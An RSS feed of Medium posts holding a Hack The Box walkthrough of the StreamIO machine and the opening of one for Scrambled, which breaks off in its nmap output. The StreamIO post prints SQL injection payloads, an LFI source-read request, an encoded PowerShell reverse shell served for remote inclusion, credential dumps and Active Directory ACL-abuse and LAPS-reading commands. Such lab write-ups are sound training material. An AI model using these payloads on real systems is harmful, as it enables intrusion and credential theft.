<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nazarov Samir on Medium]]></title>
        <description><![CDATA[Stories by Nazarov Samir on Medium]]></description>
        <link>https://medium.com/@s4m1r?source=rss-d41e44d03d56------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Nazarov Samir on Medium</title>
            <link>https://medium.com/@s4m1r?source=rss-d41e44d03d56------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 11:51:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@s4m1r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB: StreamIO]]></title>
            <link>https://medium.com/@s4m1r/htb-streamio-2719edd2128c?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/2719edd2128c</guid>
            <category><![CDATA[acl-abuse]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[streami̇o]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[active-directory-attack]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Wed, 03 Jun 2026 15:50:25 GMT</pubDate>
            <atom:updated>2026-06-03T15:50:25.932Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*29Iv16XRiMKBJeyr.png" /></figure><p><strong>Machine Link:</strong> <a href="https://app.hackthebox.com/machines/StreamIO">https://app.hackthebox.com/machines/StreamIO</a></p><blockquote><strong>Enumeration:</strong></blockquote><p>Nmap Scan:</p><pre>Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 05:02 -0400<br>Nmap scan report for 10.129.9.255<br>Host is up (0.10s latency).<br>Not shown: 65515 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: IIS Windows Server<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-03 16:03:20Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)<br>443/tcp   open  ssl/https?<br>| tls-alpn: <br>|   h2<br>|_  http/1.1<br>|_ssl-date: 2026-06-03T16:05:21+00:00; +6h59m59s from scanner time.<br>| ssl-cert: Subject: commonName=streamIO/countryName=EU<br>| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb<br>| Not valid before: 2022-02-22T07:03:28<br>|_Not valid after:  2022-03-24T07:03:28<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49678/tcp open  msrpc         Microsoft Windows RPC<br>49707/tcp open  msrpc         Microsoft Windows RPC<br>49732/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>We can see two domains from the nmap result(<strong>streamIO.htb , watch.streamIO.htb</strong>). Let’s update the hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*vkh_L6mqrLIcotel5kmnwA.png" /></figure><p>http and https services run on ports 80 and 443.Let’s open both sites in a browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2yTZBy6iTM6FZgnuwkaD6w.png" /><figcaption>streamio.htb</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O5ZwEbQEYZUuKMzO0PVYBw.png" /><figcaption>watch.streamio.htb</figcaption></figure><p>I checked the default credentials (admin:admin, etc.) and login based SQL on the login page of the streamio.htb website, but none of them worked. I created a new account and tried to log in, but that didn’t work either.</p><p>There may be hidden pages, so it’s worth running gobuster.</p><pre>gobuster dir -u https://streamio.htb/ -w /usr/share/wordlists/dirb/common.txt -k -x php,zip,aspx,conf,bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UD5E0_2OTaxw2ClMCZ-Xzw.png" /></figure><p>When I go to the admin page, it gives a 403 forbidden error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*_6CqHCYhe7WBdyhYy2WY3A.png" /></figure><h3>watch.streamio.htb</h3><p>Gobuster:</p><pre>gobuster dir -u https://watch.streamio.htb/ -w /usr/share/wordlists/dirb/common.txt -k -x php,zip,aspx,conf,bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-u0MSYRWowYQLRBUik5pkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*da2mzCSxff0DBQ0zwhtQ9A.png" /></figure><h3>SQL injection</h3><p>Detection:</p><pre>#payload<br>&#39; --&gt; no result<br>&#39;;-- - --&gt; everything returned</pre><p>Column number:</p><pre>1234&#39; Union select 1,2,3,4,5,6;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LqTbtVDc6eWO8ac_SmzLgA.png" /></figure><p>We can return information on columns 2 and 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5uL4RWt5hWHDGnTMfB2Xpw.png" /></figure><p><strong>Databases:</strong></p><pre>1234&#39; Union select 1,name,3,4,5,6 from master..sysdatabases;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6z7K2agFB8nm_0X4FGsC_w.png" /></figure><p><strong>Tables:</strong></p><pre>###streamio<br>1234&#39; Union select 1,name,3,4,5,6 from streamio..sysobjects where xtype = &#39;u&#39;;-- -<br><br>###streamio_backup<br>1234&#39; Union select 1,name,3,4,5,6 from streamio_backup..sysobjects where xtype = &#39;u&#39;;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xu8z1hH_AcrRmZBOzH9-Dw.png" /><figcaption>streamio tables</figcaption></figure><p>But I couldn’t extract any table name for the streamio_backup database.</p><p><strong>Columns:</strong></p><pre>1234&#39; Union select 1,name,3,4,5,6 from syscolumns where id = (select id from sysobjects where name = &#39;users&#39;) ;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hz0WchcUDLdRrsimrHVlLQ.png" /></figure><p>Dump:</p><pre>1234&#39; Union select 1,concat(username,&#39; : &#39;,password),3,4,5,6 from users ;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jqnd26qiftIhFJa8tl7KbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BrwIzooacOEgKL8ZangKzg.png" /></figure><p>You can break some of the hashes on <a href="https://hashes.com/en/decrypt/hash">hashes.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*y-RNOpQsHRcmPn8jQS3m3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*gkfeKWAb_1JlR63RfQFptQ.png" /></figure><p>Among these passwords, only the password of the <strong>yoshihide </strong>user is active.Now you can log in to the streamio.htb site as the yoshihide user.</p><p>After logging in, we can go to the admin panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e_Wh79nvGPLgsQwZWYWtng.png" /></figure><p>Let’s fuzz the admin path below:</p><pre>gobuster dir -u https://streamio.htb/admin/ -w /usr/share/wordlists/dirb/common.txt -k -x php,zip,aspx,conf,bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_EWcYGMVngRzaLWfny6YGA.png" /></figure><p><strong>master.php</strong> is a non-default page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*JsOkYfxCpOJb6XWOhT5--g.png" /></figure><p>When visiting the page, it says it can only be accessed with include. This could be a LFI hint. So I fuzzed again to find another one of the <em>user,staff,movie</em> parameters under admin.</p><pre>ffuf -u &quot;https://streamio.htb/admin/?FUZZ=&quot; -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -b PHPSESSID=ivflmpjq0p31b9qak2pbff3412  -fs 1678</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqOcnd9eGvqltYcztowQ9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JRhCjs6h5i4c_N25QNGYSg.png" /></figure><p>To check if there is an LFI, let’s fuzz the burp intruder with LFI payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*BPXxgJaxX29b2u4ZWtNGgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*JAgIWLqJ0EYpqxqiT-GDsQ.png" /></figure><p>Let’s try reading source code using <a href="https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion"><strong>PHP wrappers</strong>.</a></p><pre>https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AvmQ6Nrr_iTmncVjmWnKtQ.png" /></figure><p>Let’s decode this encoded source code:</p><pre>&lt;?php<br>define(&#39;included&#39;,true);<br>session_start();<br>if(!isset($_SESSION[&#39;admin&#39;]))<br>{<br> header(&#39;HTTP/1.1 403 Forbidden&#39;);<br> die(&quot;&lt;h1&gt;FORBIDDEN&lt;/h1&gt;&quot;);<br>}<br>$connection = array(&quot;Database&quot;=&gt;&quot;STREAMIO&quot;, &quot;UID&quot; =&gt; &quot;db_admin&quot;, &quot;PWD&quot; =&gt; &#39;B1@hx31234567890&#39;);<br>$handle = sqlsrv_connect(&#39;(local)&#39;,$connection);<br><br>?&gt;<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br> &lt;meta charset=&quot;utf-8&quot;&gt;<br> &lt;title&gt;Admin panel&lt;/title&gt;<br> &lt;link rel = &quot;icon&quot; href=&quot;/images/icon.png&quot; type = &quot;image/x-icon&quot;&gt;<br> &lt;!-- Basic --&gt;<br> &lt;meta charset=&quot;utf-8&quot; /&gt;<br> &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot; /&gt;<br> &lt;!-- Mobile Metas --&gt;<br> &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot; /&gt;<br> &lt;!-- Site Metas --&gt;<br> &lt;meta name=&quot;keywords&quot; content=&quot;&quot; /&gt;<br> &lt;meta name=&quot;description&quot; content=&quot;&quot; /&gt;<br> &lt;meta name=&quot;author&quot; content=&quot;&quot; /&gt;<br><br>&lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot; integrity=&quot;sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3&quot; crossorigin=&quot;anonymous&quot;&gt;<br>&lt;script src=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js&quot; integrity=&quot;sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p&quot; crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;<br><br> &lt;!-- Custom styles for this template --&gt;<br> &lt;link href=&quot;/css/style.css&quot; rel=&quot;stylesheet&quot; /&gt;<br> &lt;!-- responsive style --&gt;<br> &lt;link href=&quot;/css/responsive.css&quot; rel=&quot;stylesheet&quot; /&gt;<br><br>&lt;/head&gt;<br>&lt;body&gt;<br> &lt;center class=&quot;container&quot;&gt;<br>  &lt;br&gt;<br>  &lt;h1&gt;Admin panel&lt;/h1&gt;<br>  &lt;br&gt;&lt;hr&gt;&lt;br&gt;<br>  &lt;ul class=&quot;nav nav-pills nav-fill&quot;&gt;<br>   &lt;li class=&quot;nav-item&quot;&gt;<br>    &lt;a class=&quot;nav-link&quot; href=&quot;?user=&quot;&gt;User management&lt;/a&gt;<br>   &lt;/li&gt;<br>   &lt;li class=&quot;nav-item&quot;&gt;<br>    &lt;a class=&quot;nav-link&quot; href=&quot;?staff=&quot;&gt;Staff management&lt;/a&gt;<br>   &lt;/li&gt;<br>   &lt;li class=&quot;nav-item&quot;&gt;<br>    &lt;a class=&quot;nav-link&quot; href=&quot;?movie=&quot;&gt;Movie management&lt;/a&gt;<br>   &lt;/li&gt;<br>   &lt;li class=&quot;nav-item&quot;&gt;<br>    &lt;a class=&quot;nav-link&quot; href=&quot;?message=&quot;&gt;Leave a message for admin&lt;/a&gt;<br>   &lt;/li&gt;<br>  &lt;/ul&gt;<br>  &lt;br&gt;&lt;hr&gt;&lt;br&gt;<br>  &lt;div id=&quot;inc&quot;&gt;<br>   &lt;?php<br>    if(isset($_GET[&#39;debug&#39;]))<br>    {<br>     echo &#39;this option is for developers only&#39;;<br>     if($_GET[&#39;debug&#39;] === &quot;index.php&quot;) {<br>      die(&#39; ---- ERROR ----&#39;);<br>     } else {<br>      include $_GET[&#39;debug&#39;];<br>     }<br>    }<br>    else if(isset($_GET[&#39;user&#39;]))<br>     require &#39;user_inc.php&#39;;<br>    else if(isset($_GET[&#39;staff&#39;]))<br>     require &#39;staff_inc.php&#39;;<br>    else if(isset($_GET[&#39;movie&#39;]))<br>     require &#39;movie_inc.php&#39;;<br>    else <br>   ?&gt;<br>  &lt;/div&gt;<br> &lt;/center&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>It is possible to find the database credentials from the index.php file. However, we cannot do anything at the moment because MSSQL is not accessible from the outside.</p><pre>#database credentials<br>db_admin : B1@hx31234567890</pre><p>When looking at the source code of the <strong>master.php</strong> file, we can see the dangerous code block at the end:</p><pre>&lt;form method=&quot;POST&quot;&gt;<br>&lt;input name=&quot;include&quot; hidden&gt;<br>&lt;/form&gt;<br>&lt;?php<br>if(isset($_POST[&#39;include&#39;]))<br>{<br>if($_POST[&#39;include&#39;] !== &quot;index.php&quot; ) <br>eval(file_get_contents($_POST[&#39;include&#39;]));<br>else<br>echo(&quot; ---- ERROR ---- &quot;);</pre><p>In this code block, it accepts a parameter called <strong><em>include </em></strong>with the POST method. If the include parameter is different from <strong><em>index.php</em></strong>, it reads its contents with the <strong><em>file_get_contents() </em></strong>function. And executes the read code as PHP code with <strong>eval()</strong>.<br>We can retrieve files from a <strong><em>remote server</em></strong> (RFI) with the <strong><em>file_get_contents()</em></strong> function.</p><blockquote><strong>Foothold</strong></blockquote><p>We only have access to the master.php file with the debug parameter. Therefore, we can intercept the request and change the method to POST to include the remote file with the include parameter. I created a reverse.php file in Kali for reverse shell and made it available on the network with a python server.</p><p>reverse.php</p><pre>system(&quot;powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAA3ACIALAA0ADQANAA0ACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA&quot;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*967PQHQCcP2h1j5WBnZAXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*a6H5pbb7bcGB78XsbnCTSA.png" /><figcaption>yoshihide</figcaption></figure><blockquote><strong>Lateral Movement</strong></blockquote><p>We just found the database credentials, but we couldn’t connect to it remotely because the mssql port wasn’t open. Now that we’ve got an internal shell as the yoshihide user, we can use these credentials.</p><p>We can execute commands in mssql with <strong>sqlcmd </strong>through a powershell session. But since it does not provide a direct connection, we have to call it separately for each query.</p><p><strong><em>Databases:</em></strong></p><pre>sqlcmd -S &#39;DC&#39; -U db_admin -P &#39;B1@hx31234567890&#39; -Q &#39;Select name from master..sysdatabases;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFZ7a5Rc8nWc2QaWEURx1A.png" /></figure><p>We just dumped the STREAMIO database, but we couldn’t extract any data from <strong>streamio_backup</strong>.</p><p><strong><em>Tables:</em></strong></p><pre>sqlcmd -S &#39;DC&#39; -U db_admin -P &#39;B1@hx31234567890&#39; -Q &#39;select name from streamio_backup..sysobjects where xtype=&quot;U&quot;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8PkeBOPXBEoKhNJ27sr4g.png" /></figure><p><strong><em>Columns:</em></strong></p><pre> sqlcmd --% -S DC -U db_admin -P B1@hx31234567890 -Q &quot;SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = &#39;users&#39;)&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MUWN-ZvZJcym8ABMta0hKQ.png" /></figure><p><strong><em>database dump:</em></strong></p><pre>sqlcmd --% -S DC -U db_admin -P B1@hx31234567890 -Q &quot;use streamio_backup;SELECT concat(username,&#39; : &#39;,password) from users;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TEPipjQ86IpYd0PO1_n8rw.png" /></figure><p>Let’s check hashes again on hashes.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*-JQVuTAnj0Vh9HQheh2L8A.png" /></figure><p>We have seen other users besides <strong>nikk37 </strong>in the streamio database. So let’s check if we can connect with this user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*W8OmUhLCcWJnNu7JTUcymA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x1lwaG49OA81mrojRAje5A.png" /></figure><p>Let’s connect with evil-winrm as nikk37 user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dMee1_9YqrjIKfU4XHqR-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*MJY0Nm7-MacMdC_iXLNgJg.png" /></figure><p>Let’s try WinPeas to switch to the Martin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RH8kiuAw5elFP77t6_vYMw.png" /></figure><p>These are the keys needed to encrypt user passwords stored in Firefox. If we can also find the<strong> logins.json </strong>file, we can read the passwords in plain text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ZFhQV0oaipYugvXI3ZrcA.png" /></figure><p>You can use the <a href="https://github.com/lclevy/firepwd">firepwd.py</a> tool to open encrypted files.</p><pre>python3 firepwd.py /root/Desktop/htb/StreamIO/key4.db /root/Desktop/htb/StreamIO/logins.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*7v9Cjg9zo3_O-Co8a47dkg.png" /></figure><p>Let’s confirm credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wQjr-UMGmdMsmbr0Vza9pQ.png" /></figure><p>The <strong>JDgodd </strong>user is in the domain, but we cannot connect because he is not a member of the “<strong>Remote Management User</strong>” group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*4Fr2ALuW9YoedGxvkQ6g_Q.png" /></figure><p>Let’s map the domain with bloodhound and look for any dangerous privileges for the <strong>JDgodd </strong>user.</p><pre>bloodhound-python -u nikk37 -p &#39;get_dem_girls2@yahoo.com&#39; -d streamio.htb  -ns 10.129.10.38  -c all --zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mcUu97qsYLSVl0xCDwVN0Q.png" /></figure><p>We can see that the <strong>Jdgodd </strong>user has <strong><em>WriteOwner </em></strong>permission on the <strong>Core STAFF</strong> group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*F8uwtlHDJELNraDDnkTKCQ.png" /></figure><p>Core Staff group members have <strong><em>ReadLAPSPassword </em></strong>permission on the <strong>DC</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AcSEbDnrOhpD38Jj1VyTAQ.png" /></figure><p><strong>NOTE:<br>WriteOwner</strong>: The right to take ownership of the target object. Once you become the owner, you change all of its permissions and take full control of the object.<br><strong>ReadLAPSPassword</strong>: The right to read the computer’s local Administrator password directly from Active Directory in cleartext.</p><p>Let’s change the ownership of the “<strong><em>CORE STAFF”</em></strong> group.</p><pre>impacket-owneredit -action write -new-owner &#39;jdgodd&#39; -target &#39;CORE STAFF&#39; &#39;streamio.htb&#39;/&#39;JDgodd&#39;:&#39;JDg0dd1s@d0p3cr3@t0r&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ev7SqePoaBod5glYWbwZLA.png" /></figure><p>To read passwords from LDAP, we need to make ourselves a member of that group. To do this, first of all, our user must have <strong>WriteMembers </strong>permission on that group.</p><pre>impacket-dacledit -action &#39;write&#39; -rights &#39;WriteMembers&#39; -principal &#39;jdgodd&#39; -target &#39;CORE STAFF&#39; &#39;streamio.htb&#39;/&#39;JDgodd&#39;:&#39;JDg0dd1s@d0p3cr3@t0r&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*siv9RcOW7_1GD0f47mlxxw.png" /></figure><p>Now let’s add the <strong>jdgodd </strong>user to the <strong>“CORE STAFF”</strong> group.</p><pre> net rpc group addmem &quot;CORE STAFF&quot; &quot;jdgodd&quot; -U &quot;streamio.htb&quot;/&quot;JDgodd&quot;%&quot;JDg0dd1s@d0p3cr3@t0r&quot; -S &quot;dc.streamio.htb&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LSrr-1lATR0NP9WTPwiyiQ.png" /></figure><p>Let’s confirm that we are members of the<strong> Core Staff</strong> group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*Ocy2V5l58NO1P54sXaieXA.png" /></figure><p>We can now read the Administrator password from LAPS.</p><pre>nxc ldap streamio.htb -u &#39;jdgodd&#39; -p &#39;JDg0dd1s@d0p3cr3@t0r&#39; -M laps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wJkPnKjiDHAPpbN8dqOsPQ.png" /></figure><p>Administrator:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2IhJ6VukIePX52iy9uFSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*xA-ojyDPfYUVmJE5z3R5vg.png" /><figcaption>system</figcaption></figure><p>If I make any mistakes, please let me know.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2719edd2128c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Scrambled]]></title>
            <link>https://medium.com/@s4m1r/htb-scrambled-97083102236e?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/97083102236e</guid>
            <category><![CDATA[insecure-deserialization]]></category>
            <category><![CDATA[scrambled]]></category>
            <category><![CDATA[ad-pentesting]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Sun, 31 May 2026 17:40:48 GMT</pubDate>
            <atom:updated>2026-05-31T17:40:48.565Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_6Wv2QiUh7-19vut.png" /></figure><p>Machine Link: <a href="https://app.hackthebox.com/machines/Scrambled">https://app.hackthebox.com/machines/Scrambled</a></p><blockquote><strong>Enumeration:</strong></blockquote><p>Nmap scan:</p><pre>nmap -sCV -p- -T4 --min-rate 10000 10.129.7.222  -oN nmap_result<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-31 08:23 -0400<br>Stats: 0:03:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 99.68% done; ETC: 08:27 (0:00:00 remaining)<br>Nmap scan report for scrm.local (10.129.7.222)<br>Host is up (0.67s latency).<br>Not shown: 65513 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: Scramble Corp Intranet<br>|_http-server-header: Microsoft-IIS/10.0<br>88/tcp    open  spark         Apache Spark<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn?<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-31T12:27:29+00:00; -2s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:DC1.scrm.local<br>| Not valid before: 2024-09-04T11:14:45<br>|_Not valid after:  2121-06-08T22:39:53<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:DC1.scrm.local<br>| Not valid before: 2024-09-04T11:14:45<br>|_Not valid after:  2121-06-08T22:39:53<br>|_ssl-date: 2026-05-31T12:27:29+00:00; -1s from scanner time.<br>1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM<br>| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback<br>| Not valid before: 2026-05-31T07:49:57<br>|_Not valid after:  2056-05-31T07:49:57<br>|_ssl-date: 2026-05-31T12:27:29+00:00; -1s from scanner time.<br>| ms-sql-info: <br>|   10.129.7.222:1433: <br>|     Version: <br>|       name: Microsoft SQL Server 2019 RTM<br>|       number: 15.00.2000.00<br>|       Product: Microsoft SQL Server 2019<br>|       Service pack level: RTM<br>|       Post-SP patches applied: false<br>|_    TCP port: 1433<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-31T12:27:29+00:00; -1s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:DC1.scrm.local<br>| Not valid before: 2024-09-04T11:14:45<br>|_Not valid after:  2121-06-08T22:39:53<br>3269/tcp  open  ssl/ldap      Microsoft Windows Active 